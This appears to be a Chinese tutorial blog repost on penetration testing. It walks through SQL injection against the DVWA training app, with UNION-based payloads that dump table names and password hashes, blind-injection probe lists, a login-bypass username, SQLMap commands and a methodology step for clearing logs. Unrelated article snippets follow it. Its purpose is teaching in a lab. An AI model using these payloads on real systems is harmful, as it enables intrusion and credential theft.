渗透测试——五、网站漏洞——SQL注入

一、走进DVWA测试网站

1、网站渗透测试步骤

(1)收集信息

  • 1、获取域名的 Whois 信息,获取注册者邮箱、姓名、电话等。
  • 2、查询服务器旁站及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的CMS或者其他漏洞。
  • 3、查看服务器操作系统版本、We 中间件,看看是否存在已知的漏洞,比如IIS、APACHENGINX 的解析漏洞。
  • 4、查看IP,进行IP 地址端口扫描,对响应的端口进行漏洞探测,比如 RSYNC、MySQLFTP、SSH 弱口令等。
  • 5、扫描网站目录结构,看看是否存在目录遍历漏洞,是否存在敏感文件,比如 PHP 探针等。
  • 6、Google Hack 进一步探测网站的信息、后台、敏感文件。

(2)扫描漏洞
开始检测漏洞,如XSS、XSRF、SQL 注入、代码执行、命令执行、越权访问、目录读取、任意文件读取、下载、文件包含、远程命令执行、弱口令、上传、编辑器漏洞、暴力破解等。
(3)利用漏洞
利用以上方式拿到 Webshell,或者其他权限。
(4)提升权限
在利用网站漏洞获取 Webshell 之后,需要借助一些方法进一步获取系统权限,比如在Windows下有 MySQL的UDF 提权、Sev -U 提权;Lnux 下的脏牛提权、内核版本提权MySOL System 提权及 0racle 权限提权。
(5)清理日志
(6)撰写总结报告及修复方案
报告是安全漏洞结果展现形式之一,也是目前安全业内最认可的和常见的。报告的形式和格式不尽相同,但大体展现的内容是一样的。
首先是对本次网站渗透测试的一个总概括,如发现几个漏洞、有几个是高危的漏洞、几个中危漏洞、几个低危漏洞。
然后对漏洞进行详细的讲解,比如是什么类型的漏洞、漏洞名称、漏洞危害、漏洞具体展现方式、修复漏洞的方法。

2、DVWA网站

DVWA (Damn Vulnerable Web Application) 是一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助Web开发者更好地理解 Web 应用安全防范的过程。
DVWA共有10个模块分别是 Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、InsecureCaptcha(不安全的验证码)、SQL Injection(SOL注入)、SO Iniection(Blind)(SOL盲注)、XSS( Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨脚本)。

3、其他漏洞网站

(1) Mutillidae 网站
Mutillidae Web 应用包含OWASP 上可利用的攻击漏洞,包括 HTML-web storage、forms caching、click -iacking 等。受DVWA启发,Mutillidae 允许使用者更改安全等级从0(完全没有安全意识)到5(安全)。另外,提供3 个层次,从“0级-我自己搞”(不要提示)到“2级-小白”(使劲提示)。如果 Mutillidae 在渗透过程中损坏了,单击“Reset DB”按钮恢复出厂设置。
在这里插入图片描述
在这里插入图片描述
(2) WebGoat 网站
WebGoat 是一个用于讲解典型Web 漏洞的基于J2EE架构的 Web应用它由著名的 Web 应用安全研究组织OWASP 精心设计并不断更新,目前的版本已经到了5.0。WebGoat 本身是一系列教程,其中设计了大量的 We 缺陷,一步步指导用户如何去利用这些漏洞进行攻击,同时,也指出了如何在程序设计和编码时避免这些漏洞。
(3) SOLi-Labs
SOLi-Labs 是一个专业的SQL 注入练习平台 ,适用于 get 和 post 场景包含了以下注人:
在这里插入图片描述

  • 1、基于错误的注入 (Union Select)
  • 2、基于误差的注入 (双查询注入)
  • 3、盲注入(基于 Boolean 数据类型注入、基于时间注入)。
  • 4、更新查询注入 (update)。
  • 5、插入查询注人 (insert)。
  • 6、Header 头部注入(基于 Referer 注入、基于 UserAgent 注人,基于 Cookie 注人)。
  • 7、二阶注入,也可叫二次注入。
  • 8、绕过 WAF。
  • 9、绕过 addslashes() 函数。
  • 10、绕过mysql_real_escape_string() 函数(在特殊条件下)。
  • 11、堆叠注入(堆查询注入)。
  • 12、二级通道提取。

在这里插入图片描述

4、进入DVMA网站

在这里插入图片描述
在登录框中输人用户名“admin”,密码“password”,则进入 DVWA的主界面。在左侧菜单中可以看到不同的网站渗透类型:暴力破解、命令注入、CSRF文件包含、文件上传、SQL注人、XSS 等,单击左侧的“DVWA安全”可选择DVWA 安全级别,其中从低到高分别是Low、Medium、High、Impossible,单击查看源代码,可以看到PHP 的后台代码。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、暴力破解和SQL注入

1、暴力破解

Brute Force,即暴力 (破解),是指黑客利用密码字典,使用穷举法猜解出用户口令是现在最广泛使用的攻击手法之一。

2、SQL语句

结构化查询语言 (Structured Query Language) 简称 SQL,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据及查询、更新和管理关系数据库系统。
结构化查询语言是高级的非过程化编程语言,允许用户在高层数据结构上工作。它不要求用户指定对数据的存放方法,也不需要用户了解具体的数据存放方式,所以具有完全不同底层结构的不同数据库系统,可以使用相同的结构化查询语言作为数据输人与管理的接口。结构化查询语言语句可以嵌套,这使它具有极大的灵活性和强大的功能。
SQL 具有数据定义、数据操纵和数据控制功能。

  • 1、SQL 数据定义功能:能够定义数据库的三级模式结构,即外模式、全局模式和内模式结构。在SQL中,外模式又叫作视图 (View),全局模式简称模式 (Shema),内模式由系统根据数据库模式自动实现,一般无须用户过问。
  • 2、SQL 数据操纵功能:包括对基本表和视图的数据插人、删除和修改,特别是具有很强的数据查询功能。
  • 3、SOL的数据控制功能:主要是对用户的访问权限加以控制,以保证系统的安全性。

SQL语句的用法 (建数据库、建表、插入数据、查询数据) 。
在这里插入图片描述
SQL注入是指 Web 应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在 Web 应用程序中事先定义好的查询语句的结尾添加额外的 SOL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

3、PHP语言

PHP 即“超文本预处理器”,是一种通用的开源脚本语言。PHP 是在服务器端执行的脚本语言,与C 语言类似,是常用的网站编程语言。PHP 独特的语法混合了C、Java、Perl及 PHP 自创的语法。其利于学习,使用广泛,主要适用于 Web 开发领域。
在这里插入图片描述
与其他常用语言相比,PHP 语言优势明显。较好的可移植性、可靠性及较高的运行效率使 PHP 语言在当下行业网站建设中独占整头。利用 PHP 语育进行行业网站设计,能够实现数据库的实时性更新,网站的日常维护和管理简单易行,进而提高用户的使用效率。
基于不同的环境、不同的工具,PHP 可以使用不同的 MySOI.数据库的访间方法。
面向对象的方法:

  • (1) MySQLi
    通过 MySQLi构造方法实例化一个 MySOL 连接对象,相当于建立了一个连接,后续代码完全使用面向对象的方法,使用该对象的成员函数操作 MySQL 数据库。
  • (2) PDO 连接 MySOL 数据库
    PDO 是基于数据库抽象层的一种访问方法,它能用相同的函数 (方法)来查询和获取数据,而不需要考虑连接的数据库类型。
  • (3)ADODB 连接MySOL 数据库
    ADODB 同样是数据库抽象类。ADODB 的数据库提供了通用的应用程序和所有支持的数据库连接,并提供了比较实用的方法,使它超越了一个抽象层的功能。
    另外,虽然面向过程的方法是 PHP 连接数据库最基本的方法,使用较为简单。但其灵活性较差,在大型项目的开发中一般较少使用。

4、暴力破解页面之Burp Suite破解

本节内容详细见:Burp爆破

5、暴力破解页面之SQL注入

仍然是 DVWA“暴力破解”页面,试着利用项目一提到的“万能密码”绕过登录验证小贴士:万能密码可理解为利用 SQL 语中的引号、注释符号、or and 等关键字构造的“永真”查询。
在这里插入图片描述
在这里插入图片描述
根据“暴力破解”页面的后台代码,其中密码变量 $pass 被 MD5 加密,因此万能密码无法成功登录。
但 $user 这个用户名变量没有加密,可以构造万能用户名绕过登录页面验证,于是在登录界面的“用户名”输入框中输人“admn #;”,使用任意密码,成功登录。图表明了万能用户名绕过的原理,#的作用是注释后面的语句。
在这里插入图片描述
在这里插入图片描述
登陆原理:
在这里插入图片描述
小贴士:构造万能用户名的前提是要知道后台数据表中的一个用户,比如 admin、root 等

6、SQL注入页面之 SQL注入

将安全级别设置为 Low,单击“SQL注入”:
在这里插入图片描述
在这里插入图片描述
SOL 注人成功与否,注入点的判断是关键,注入点是网页和数据库的连接点,通过注入点值的变化能回显出不同的网页信息。在“SQL注入”页面的输入框中,首先输入“1”并提交、输入“2”并提交,网页回显出不同的用户名信息,则这个框可能是注入点:接着输入“1”,页面回显与输入“1’”时的相同,输入的单引号并没有被过滤;最后尝试输人“any’ or ‘1’=‘1”万能密码,如所有用户信息都显示出来,说明这个输入框就是注入点。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
看源码如下:
在这里插入图片描述根据源码,在 DVWA 数据库中利用万能密码进行查询:
在这里插入图片描述
SOL 注入点确定之后,可通过注入点得到数据库的库名、表名、字段名等信息。在框中输入“1’ union select 1,database()#”,单击“提交”按钮:
在这里插入图片描述
这里用到了 SQL语句中的 union 这个关键字,它的作用是把两个查询合并回显在一张表格中;数字1起到占位的作用;database()是获取当前的数据库。
在这里插入图片描述
这时知道当前数据库为 DVWA。
在框中输入“1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#”,单击“提交”按钮。
这时看到DVWA数据库中存放着 admin、guestbook、users 等表格。输入语中的information_schema是MySQL的信息数据库,tables 表存放着MySQL中所有数据库、表格的信息。
在这里插入图片描述
原理:select first_name,last_name from users where user_id='1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#'
在这里插入图片描述
在框中输入“1'union select 1,column_name from information_schema.columns where table_name='users'#”,单击“提交”按钮。
在这里插入图片描述
原理:select first_name,last_name from users where user_id='1'union select 1,column_name from information_schema.columns where table_name='users'#;
在这里插入图片描述

这时看到 users 表中有 user_id、first_name last_name、user、password、avatar、last_login 等字段。输入语句中,columns 表存放着MySQL中所有表格字段的信息。
这时直接查询 users 表中 user、password 字段内容,在框中输入“1'union select user,password from users#”,单击“提交”按钮。
在这里插入图片描述

原理:select first_name,last_name from users where user_id='1'union select user,password from users#;
在这里插入图片描述
可知输出的 password 字段内容是进行了 MD5 加密的,可以利用在线网站尝试解密。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
另外,在利用SQL注入得到库、表、字段、记录的同时,也可以得到 MySQL 的版本当前连接数据库的用户、操作库存储目录等信息。
输入“1' union select database( ),version()#”,单击“提交”按钮:
在这里插入图片描述
原理:select first_name,last_name from users where user_id ='1' union select database( ),version()#';
在这里插入图片描述
输入“1' union select 1,user()#”,单击“提交”按钮:
在这里插入图片描述
原理:select first_name,last_name from users where user_id ='1' union select 1,user()#;
在这里插入图片描述
输人“1'union select @@version_compile_os,@@datadir #”,单击“提交”按钮:
在这里插入图片描述
原理:select first_name,last_name from users where user_id ='1'union select @@version_compile_os,@@datadir #;
在这里插入图片描述

7、SQL注入(盲注)页面之 SQL注人

将安全级别设置为Low,单击“SQL 注入 (盲注)”,在文本框中输入数据,从回显来看页面只输出“数据库中存在用户ID”“数据库中缺少用户ID”两种情况。这里盲注的基本思路是二分法,因为只有两种情况的页面回显,所以只能二分查找,一点一点地找,查找的基本步骤与注入顺序的基本一致。
第一步:
输人“1”,回显“数据中存在用户ID”
在这里插入图片描述
第二步:
输人“1’ or 1=2#”,依旧返回存在,可以判定存在注入点。输人“1’ and 1=2#”,回显“数据库中缺少用户ID”,可以进行 SQL字符型盲注
在这里插入图片描述
在这里插入图片描述
第三步:
1、猜库名的字符长度。
输入“1' and length(database()) =1#”,显示缺少;
在这里插入图片描述
继续加码,输入“1' and length(database())=2#”,依旧缺少;
在这里插入图片描述
继续加码,直到输入“1' and length(database())=4#”,显示存在。
猜测成功,长度为4。
在这里插入图片描述
2、猜库名第一个字符。
输入“1' and ascii(substr(database(),1,1))>97#”,显示存在,说明第一个是大于a的字母;
在这里插入图片描述
输入“1'and ascii(substr(database(),1,1))<122#”,显示存在,说明小于z;由二分法;
在这里插入图片描述
输入“1'and ascii(substr(database(),1,1))>109#”,显示缺少,说明小于 m。
在这里插入图片描述
依此类推,最后显示“1'and ascii(substr(database(),1,1))>100#”“1'and ascii(substr(database(),11))100#”都不存在说明第一个字母就是ASCII码为100对应的字母 d,同样猜出其他三个字母。
在这里插入图片描述
在这里插入图片描述
第四步:
现在既然知道了库的名字,就该对数据表进行暴力破解。同样的道理,先确定表数量再确定表名称。下面列出用到的所有注入代码,一行代表一次,注释就是返回结果。

/* 确定库里有多少个表 */
1' and (select count(table_name) from information_schema.tables where table_schema =database()) = 1#--缺小
1' and (select count(table_name) from information_schema.tables where table schema = database()) = 2#--存在
/* 确定第一个表字符长度 */
1' and length(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1)) = 1#--缺少
1' and length(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1)) = 9#--存在/* 确定第二个表字符长度 * /
1' and length(substr((select table_name from information_schema.tables where table_schema =database() limit 1,1),1)) = 1#--缺少
1' and length(substr((select table_name from information_schema,tables where table schema = database() limit 1,1),1)) = 5#--存在
/*确定第一个表第一个字母*/
1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>97#-存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))<122#--存在
1' and ascii(substr((select table_name from information schema.tables where table_schema =database() limit 0,1),1,1))>109#--缺少
1' and ascii(substr((select table_name from information schema.tables where table_schema =database() limit 0,1),1,1))>103#--缺少
1' and ascii(substr((select table_name from information schema.tables where table_schema =database() limit 0,1),1,1))>100#--存在
1' and ascii(substr((select table_name from information schema.tables where table_schema =database() limit 0,1),1,1))>102#--存在验证
1' and ascii(substr((select table_name from information schema.tables where table schema =database() limit 0,1),1,1))=103#--存在
/* 之后都是这个思路,得到两个表的名称 guestbook、users */

第五步:
利用二分法对表格中的字段进行暴力破解。同样的道理,试出列的数量,然后试出每个列的列名,再根据列名试出列中的数据。

8、SQL注入 (盲注)页面之SQLMap 自动注入

SQLMap 是一个渗透测试工具,主要用来自动化 SQL 注入,支持多种类型的数据库。以下针对“SQL注入(盲注)”页面进行 SQLMap 渗透。
首先在 Kali 中输人指令。其中,u 参数后面的 URL 是盲注页面的提交值后的 URL,PHPSESSID 是进入网站之后的 cookie 值,cookie 是浏览器暂时存储账号的一种机制。打开火狐浏览器,单击“选项”一“隐私”一“历史记录”,将其改为“使用自定义设置”一“显示 cookies”,在弹出的界面中即可查看当前的 cookie 值。SQLMap 语句中的 --dbs 参数表示对数据库名进行猜解,按 Enter 键进行破解。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在输入几个“y”之后,会出现 DVWA 等数据库,在原有 SQLMap 语句中添加“-D dvwa -tables”:
在这里插入图片描述
在这里插入图片描述
对 users 表进行猜解,修改原有 SQLMap 语,添加“-T users dump”,利用SQLMap自带的数据字典,最后得出整个数据表信息:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/198788.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ROS话题通信基本操作(C++)

目录 一、发布 1、实现步骤 2、代码实例 二、接收 1、实现步骤 2、代码实例 三、配置运行 1、修改CMakeLists.txt 2、运行结果 一、发布 1、实现步骤 1.包含头文件 2.初始化 ROS 节点:命名(唯一) 3.实例化 ROS 句柄 4.实例化 发布者 对象 5.组织被发布的数据&#…

Pytest做性能测试?

Pytest其实也是可以做性能测试或者基准测试的。是非常方便的。 可以考虑使用Pytest-benchmark类库进行。 安装pytest-benchmark 首先&#xff0c;确保已经安装了pytest和pytest-benchmark插件。可以使用以下命令安装插件&#xff1a; pip install pytest pytest-benchmark …

JSP控制项目启动后默认去访问指定的WebServlet 而不是index.jsp

我的 index.jsp 代码是这样 现在每次启动 访问的都是index.jsp 这也是它的默认配置 我这里写了一个 WebServlet 代码是这样 简单可以理解为 我们定义了WebServlet 访问路径为1cginServlet 其中在request作用域中 定义了一个userName值为 欢迎来到jsp世界 然后 跳转向 page.j…

Android : AndroidStudio开发工具优化

1.开启 gradle 单独的守护进程 Windows: 进入目录 C:\Users\Administrator\.gradle 创建文件&#xff1a; gradle.properties # Project-wide Gradle settings. # IDE (e.g. Android Studio) users: # Settings specified in this file will override any Gradle s…

前端时间的失败总结复盘

分享失败经验&#xff0c;前段时间的总结复盘&#xff1a; 与伙伴合作面对异常决策要及时提出质疑&#xff0c;怼&#xff0c;别太客气&#xff0c;客气起来&#xff0c;小心翼翼在意他人情绪那么这个项目就会让人难受&#xff0c;不要因为因为伙伴身上有标签/光环/权威就觉得…

怎么把视频转换为gif?

怎么把视频转换为gif&#xff1f;视频和 GIF 动图在许多方面都有所不同&#xff0c;主要的区别包括它们的数据格式、播放方式以及用途。视频&#xff1a;通常以常见的视频格式如MP4、AVI、MOV等存储&#xff0c;它们包含了连续的图像帧以及音频轨道&#xff08;如果有的话&…

ISP算法简述-BLC

Black Level Calibration, 黑电平矫正 现象 1)在纯黑条件下拍张图&#xff0c;你会发现像素值不为0 2)或者你发现图像整体偏色 这些问题可能是黑电平导致的。 原因 存在黑电平的原因有2个&#xff1a; 1)sensor的电路本身存在暗电流。暗电流主要产生在光电信号转换过程中&#…

葡萄酒的储存条件会影响葡萄酒的陈酿吗?

自20世纪末以来&#xff0c;葡萄酒储存有关的行业一直在增长&#xff0c;一些葡萄酒鉴赏家可能会选择将葡萄酒存放在家里的专用房间或壁橱里。 自云仓酒庄品牌雷盛红酒分享总所周知&#xff0c;瓶装葡萄酒的储存条件是会影响葡萄酒的陈酿&#xff0c;振动和热波动会加速葡萄酒的…

【深度学习笔记】09 权重衰减

09 权重衰减 范数和权重衰减利用高维线性回归实现权重衰减初始化模型参数定义 L 2 L_2 L2​范数惩罚定义训练代码实现忽略正则化直接训练使用权重衰减 权重衰减的简洁实现 范数和权重衰减 在训练参数化机器学习模型时&#xff0c;权重衰减&#xff08;decay weight&#xff09…

golang开发之个微机器人开发

请求URL&#xff1a; http://域名地址/sendFile 请求方式&#xff1a; POST 请求头Headers&#xff1a; Content-Type&#xff1a;application/jsonAuthorization&#xff1a;login接口返回 参数&#xff1a; 参数名必选类型说明wId是string登录实例标识wcId是string接收…

it资产管理系统

it资产管理系统这个词组初听有些陌生&#xff0c;再听却别有一种科技感。 先来看下it资产管理系统的定义&#xff1a; 它是一种针对企业IT资产进行全面管理和监控的工具&#xff0c;它可以帮助企业实现对IT资源的有效利用和合理配置&#xff0c;提高企业的运营效率和市场竞争力…

mysql安装环境

安装mysql https://www.mysql.com/downloads/ 如果操作系统版本比较低&#xff0c;还需要安装NET Framework4.5.2 搭建环境变量 MySQL可视化界面: 破解navicat&#xff1a;

如何入驻抖音本地生活服务商,门槛太高怎么办?

随着抖音本地生活服务市场的逐渐成熟&#xff0c;越来越多平台开始涉及本地生活服务领域&#xff0c;而本地生活服务商成了一个香窝窝&#xff0c;为了保护用户权益和平台生态&#xff0c;对入驻入驻抖音本地生活服务商的条件及审核也越来越严格&#xff0c;这让很多想成为抖音…

【页面】表格展示

展示 Dom <template><div class"srch-result-container"><!--左侧--><div class"left"><div v-for"(item,index) in muneList" :key"index" :class"(muneIndexitem.mm)?active:"click"pa…

360公司-2019校招笔试-Windows开发工程师客观题合集解析

360公司-2019校招笔试-Windows开发工程师客观题合集 API无法实现进程间数据的相互传递是PostMessage2.以下代码执行后,it的数据为(异常) std::list<int> temp; std::list<int>::iterator it = temp.begin(); it = --it; 3.API在失败时的返回值跟其他不一样是 …

微信小程序自定义tabBar简易实现

文章目录 1.app.json设置custom为true开启自定义2.根目录创建自定义的tab文件3.app.js全局封装一个设置tabbar选中的方法4.在onshow中使用选中方法最终效果预览 1.app.json设置custom为true开启自定义 2.根目录创建自定义的tab文件 index.wxml <view class"tab-bar&quo…

自动升降压稳压电源模块输入3v~24V输出3.3/4.2/5/9/12V芯片

自动升降压稳压电源模块是一种高效、高稳定性的电源解决方案&#xff0c;广泛应用于各种需要稳定电压输出的场合。该模块采用宽电压低功耗方案&#xff0c;能够自动升降压&#xff0c;适应不同的输入电压范围&#xff0c;同时具有关断功能&#xff0c;确保设备的安全运行。 该电…

想要更高效的文件传输?这些aspera替代方案可以助你一臂之力

随着数字化时代的不断推进&#xff0c;数据传输已成为各行各业、各类企业所必需的核心能力。而在文件传输方面&#xff0c;传统的方式往往面临着诸多问题&#xff0c;例如文件大小限制、传输速度过慢、不稳定、不安全等问题。为此&#xff0c;许多企业开始寻找更可靠、更高效的…

网工学习10-IP地址

一、IP地址概念 IP地址是一个32位的二进制数&#xff0c;它由网络ID和主机ID两部份组成&#xff0c;用来在网络中唯一的标识的一台计算机。网络ID用来标识计算机所处的网段&#xff1b;主机ID用来标识计算机在网段中的位置。IP地址通常用4组3位十进制数表示&#xff0c;中间用…

scipy笔记:scipy.interpolate.interp1d

1 主要使用方法 class scipy.interpolate.interp1d(x, y, kindlinear, axis-1, copyTrue, bounds_errorNone, fill_valuenan, assume_sortedFalse) 2 主要函数 x一维实数值数组&#xff0c;代表插值的自变量y N维实数值数组&#xff0c;其中沿着插值轴的 y 长度必须等于 x 的…